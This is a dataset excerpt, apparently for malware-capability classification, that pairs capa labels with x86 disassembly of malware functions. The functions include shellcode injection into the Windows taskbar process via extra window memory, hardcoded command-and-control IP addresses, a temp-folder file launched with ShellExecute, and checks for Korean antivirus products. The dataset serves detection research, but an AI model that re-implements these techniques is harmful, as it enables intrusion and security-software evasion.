joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41510d
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040dbe4
xor ebx, ebx
cmp dword [0x420008], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x4151e3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4152c3
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x41b410
push edi
call esi
cmp eax, ebx
je 0x4152c3
push eax
call fcn.0040db76
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x420008], eax
call esi
push eax
call fcn.0040db76
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42000c], eax
call esi
push eax
call fcn.0040db76
mov dword [0x420010], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040a66c
test eax, eax
pop ecx
pop ecx
je 0x4151b1
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00407226
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x4151e3
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040db76
cmp eax, ebx
pop ecx
mov dword [0x420018], eax
je 0x4151e3
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040db76
pop ecx
mov dword [0x420014], eax
mov eax, dword [0x420014]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x415268
cmp dword [0x420018], ecx
je 0x415268
push eax
call fcn.0040dbed
push dword [0x420018]
mov esi, eax
call fcn.0040dbed
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x415268
cmp edi, ebx
je 0x415268
call esi
cmp eax, ebx
je 0x415235
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x415235
test byte [ebp - 0x18], 1
jne 0x415268
lea eax, [ebp - 0x10]
push eax
call fcn.0040a6a3
test eax, eax
pop ecx
je 0x415250
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00407226
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x41525f
or dword [ebp + 0x10], 0x200000
jmp 0x4152a3
or dword [ebp + 0x10], 0x40000
jmp 0x4152a3
mov eax, dword [0x42000c]
cmp eax, dword [ebp - 8]
je 0x4152a3
push eax
call fcn.0040dbed
cmp eax, ebx
pop ecx
je 0x4152a3
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4152a3
mov eax, dword [0x420010]
cmp eax, dword [ebp - 8]
je 0x4152a3
push eax
call fcn.0040dbed
cmp eax, ebx
pop ecx
je 0x4152a3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x420008]
call fcn.0040dbed
cmp eax, ebx
pop ecx
je 0x4152c3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4152c5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401057
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Find taskbar
Inject shellcode using extra window memory

Disassembly:
sub esp, 0x24
push ebx
push ebp
push edi
xor edi, edi
push edi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
lea eax, [esp + 0x18]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [esp + 0x18]
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push edi
push ebp
mov ebx, eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x4010b2
push str.GetWindowLongPtr_failed__n
call fcn.0040126f
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4011a9
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [esp + 0x10]
push ecx
push 4
lea ecx, [esp + 0x2c]
push ecx
push eax
push ebx
call esi
lea eax, [esp + 0x10]
push eax
push 0xc
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x30]
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x3000
push dword [esp + 0x44]
push edi
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [esp + 0x10]
push ecx
push dword [esp + 0x40]
mov dword [esp + 0x1c], eax
push dword [esp + 0x40]
push eax
push ebx
call edi
push 4
push 0x3000
push 0x10
push 0
push ebx
call esi
mov esi, eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x30], eax
lea eax, [esp + 0x10]
push eax
push 0x10
lea eax, [esp + 0x2c]
mov dword [esp + 0x20], esi
push eax
push esi
lea ecx, [esi + 4]
push ebx
mov dword [esp + 0x38], ecx
call edi
mov edi, dword [sym.imp.USER32.dll_SetWindowLongA]
push esi
push 0
push ebp
call edi
push esi
xor esi, esi
push esi
push ebp
call edi
test eax, eax
jne 0x401168
push str.SetWindowLongPtr_failed__n
call fcn.0040126f
pop ecx
mov edi, 0x4000
jmp 0x401188
push esi
push esi
push 0x10
push ebp
call dword [sym.imp.USER32.dll_PostMessageA]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x20]
push esi
push ebp
call edi
mov edi, 0xc000
push edi
push esi
push dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call esi
push edi
push 0
push dword [esp + 0x20]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
pop ebp
pop ebx
add esp, 0x24
ret

Function at 0x40128c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4012e6
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [esi + 0x10]
push ecx
call fcn.00403ff0
pop ecx
mov ecx, dword [ebp + 0xc]
push ebx
mov dword [ecx], eax
lea ecx, [ebp - 4]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret
Function at 0x4087ee
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415788
push 0x415780
push str.FlsAlloc
push 0x1e
call fcn.004086af
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408822
push dword [ebp + 8]
mov ecx, esi
call dword [0x41417c]
call esi
jmp 0x408828
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40886c
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415798
push 0x415790
push str.FlsGetValue
push 0x20
call fcn.004086af
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4088a3
push dword [ebp + 8]
mov ecx, esi
call dword [0x41417c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40be99
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40bf36
push ebx
push esi
call fcn.0040be62
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040bdab
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40bee3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40bf35
push edi
push eax
call fcn.00407fd2
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40bf03
call fcn.00408542
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40bf34
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040bdab
add esp, 0x20
test eax, eax
jne 0x40bf22
push edi
call fcn.00408542
jmp 0x40bf2a
push ebx
call fcn.00408542
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x41df1d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41dfba
push ebx
push esi
call fcn.0041dee6
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041cb6b
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41df67
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41dfb9
push edi
push eax
call fcn.00415ca0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41df87
call fcn.004151ff
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41dfb8
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041cb6b
add esp, 0x20
test eax, eax
jne 0x41dfa6
push edi
call fcn.004151ff
jmp 0x41dfae
push ebx
call fcn.004151ff
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x424e90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x424ebd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x424ebd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x40193b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push esi
xor esi, esi
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x60
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x67
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x51
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
xor byte [esi + 0x435a80], 0x3f
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x98
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
xor byte [esi + 0x435a80], 0xdd
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x87
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0xe1
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
xor byte [esi + 0x435a80], 0x95
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
xor byte [esi + 0x435a80], 0xef
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x5d
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x33
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0xf9
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
inc esi
pop ecx
cmp esi, 0x23000
jb 0x401945
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401a5a
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ebp, [esi + 0x10]
mov edi, dword [ebp]
mov ebx, edi
xor ebx, 0x14d
mov dword [esp + 0x18], ebp
cmp dword [esi + 0x14], 0x10
jb 0x401a7d
mov esi, dword [esi]
shr edi, 2
push esi
push edi
push str._x_and__p
mov dword [esp + 0x20], edi
call fcn.004010d6
add esp, 0xc
test edi, edi
je 0x401ada
mov ebp, esi
push 4
lea eax, [esp + 0x14]
push ebp
push eax
call fcn.0040a920
imul ecx, dword [esp + 0x1c], 0x5bd1e991
add esp, 0xc
imul ebx, ebx, 0x5bd1e991
add ebp, 4
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov dword [esp + 0x10], eax
sub edi, 1
jne 0x401a99
mov edi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
mov eax, dword [ebp]
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x401b03
sub eax, 1
je 0x401af9
sub eax, 1
jne 0x401b11
movsx ecx, byte [esi + edi*4 + 2]
shl ecx, 0x10
movsx eax, byte [esi + edi*4 + 1]
shl eax, 8
xor ecx, eax
movsx eax, byte [esi + edi*4]
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov eax, ebx
shr eax, 0xd
xor eax, ebx
imul ecx, eax, 0x5bd1e991
pop edi
pop esi
pop ebp
pop ebx
mov eax, ecx
shr eax, 0xf
xor eax, ecx
add esp, 0xc
ret
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x244
mov eax, dword [0x415048]
xor eax, esp
mov dword [esp + 0x240], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x416de0
push 0x67
push esi
call edi
push 0x64
mov ebx, 0x416d18
push ebx
push 0x6d
push esi
call edi
push 0x6b
xor edi, edi
mov dword [esp + 0x28], esi
push esi
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
mov dword [esp + 0x18], 0x30
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], 0x4011a9
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
call esi
push 0x7f00
push edi
mov dword [esp + 0x30], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x6c
push dword [esp + 0x28]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], 6
mov dword [esp + 0x3c], 0x6d
mov dword [esp + 0x40], ebx
call esi
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call ebx
call fcn.00402747
call fcn.00401e4f
test eax, eax
je 0x4010d6
call fcn.00402e3f
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040121a
test eax, eax
jne 0x4010f6
mov ecx, dword [esp + 0x24c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040424e
mov esp, ebp
pop ebp
ret 0x10
test byte [0x417468], 7
je 0x401104
call fcn.00401710
mov ecx, dword [0x417740]
cmp ecx, edi
jbe 0x40112d
cmp word [0x417744], di
jbe 0x40112d
mov esi, str.218.54.31.226
call fcn.00403468
mov ax, word [0x417744]
mov word [0x415f2c], ax
xor eax, eax
movzx ecx, word [eax + 0x413244]
mov word [eax + 0x417c78], cx
add eax, 2
cmp cx, di
jne 0x40112f
call fcn.004034cc
xor eax, eax
push 0x206
mov word [esp + 0x44], ax
lea eax, [esp + 0x46]
push edi
push eax
call fcn.00407ba0
add esp, 0xc
lea eax, [esp + 0x40]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x417c78
lea eax, [esp + 0x44]
push esi
push eax
call fcn.0040425d
add esp, 0xc
push 0x1f4
call ebx
push 1
push edi
push 0x41325c
lea eax, [esp + 0x4c]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x4010cf
Function at 0x40121a
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x3e
mov word [ebp - 0x48], ax
xor ebx, ebx
lea eax, [ebp - 0x46]
push ebx
push eax
call fcn.00407ba0
add esp, 0xc
lea edi, [ebp - 0x48]
call fcn.00403092
xor eax, eax
movzx ecx, word [ebp + eax - 0x48]
mov word [eax + 0x416ea8], cx
add eax, 2
cmp cx, bx
jne 0x401251
mov esi, 0x416ea8
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, ebx
je 0x401289
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x401361
push esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401282
lea eax, [ebp - 0x1d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x417878
call fcn.00401b52
pop ecx
test eax, eax
jne 0x401344
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x417a20], cx
add eax, 2
cmp cx, bx
jne 0x4012bc
push str.218.54.28.139
push 0x40
push 0x41787c
call fcn.004042d2
add esp, 0xc
push str.AAAA
push 0x10
push 0x4178fe
call fcn.004042d2
add esp, 0xc
push 0x413294
push 0x40
push 0x41791e
call fcn.004042d2
add esp, 0xc
push 0x51
pop eax
mov word [0x4178fc], ax
mov eax, 0x2b70
mov word [0x41799e], ax
xor eax, eax
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x417a00], cx
add eax, 2
cmp cx, bx
jne 0x401324
mov dword [0x417a40], 5
call fcn.00403122
call fcn.00401370
push ebx
push ebx
push ebx
push 0x401a98
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040424e
leave
ret
Function at 0x401556
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
xor edi, edi
push esi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push edi
push eax
mov dword [ebp - 0x418], edi
call fcn.00407ba0
xor eax, eax
push esi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push edi
push eax
call fcn.00407ba0
add esp, 0x18
push 0x104
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
mov ebx, str._s_s
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401607
mov dword [ebp - 0x418], 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401635
or dword [ebp - 0x418], 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401663
or dword [ebp - 0x418], 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401694
or dword [ebp - 0x418], 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4016c5
or dword [ebp - 0x418], 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
je 0x4016f9
or dword [ebp - 0x418], 0x400
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x418]
xor ecx, ebp
or eax, 0x2000000
call fcn.0040424e
leave
ret
Function at 0x40196e
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov ecx, str.121.88.5.184
call fcn.00403696
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x401a89
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00407ba0
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00407ba0
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x416ef0
mov ebx, edi
cmp word [ebx], 0
je 0x401a1f
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.004042d2
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040425d
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x417468
jl 0x4019f1
cmp word [edi], 0
je 0x401a44
push dword [ebp + 8]
mov ecx, edi
push str.121.88.5.184
call fcn.00403f0a
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x417468
jl 0x401a2d
push 0x417c78
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.0040425d
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401a83
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040424e
leave
ret

Function at 0x401be2
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x214], esi
cmp ebx, esi
je 0x401cf3
cmp edi, esi
je 0x401cf3
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x401c13
sub eax, edx
sar eax, 1
je 0x401cf3
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.00407ba0
add esp, 0xc
cmp dword [ebp + 8], esi
jne 0x401c7e
cmp dword [0x415f10], 3
jne 0x401c7e
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4135d0
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040425d
add esp, 0xc
jmp 0x401c91
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040425d
and dword [ebp - 0x210], 0
push 0x4135d4
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0040457f
add esp, 0x18
cmp dword [ebp - 0x210], 0
je 0x401cf3
push dword [ebp - 0x210]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00404810
push dword [ebp - 0x210]
call fcn.0040489a
add esp, 0x14
mov dword [ebp - 0x214], esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x214]
xor ecx, ebp
pop esi
call fcn.0040424e
leave
ret
Function at 0x401d96
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
xor esi, esi
call fcn.00407ba0
and dword [ebp - 0x210], esi
add esp, 0xc
test edi, edi
je 0x401e40
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040425d
push 0x4135f4
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0040457f
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x210], 0
je 0x401e40
push dword [ebp - 0x210]
push esi
push 0x200
push edi
call fcn.00404a65
push dword [ebp - 0x210]
call fcn.0040489a
add esp, 0x14
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040424e
leave
ret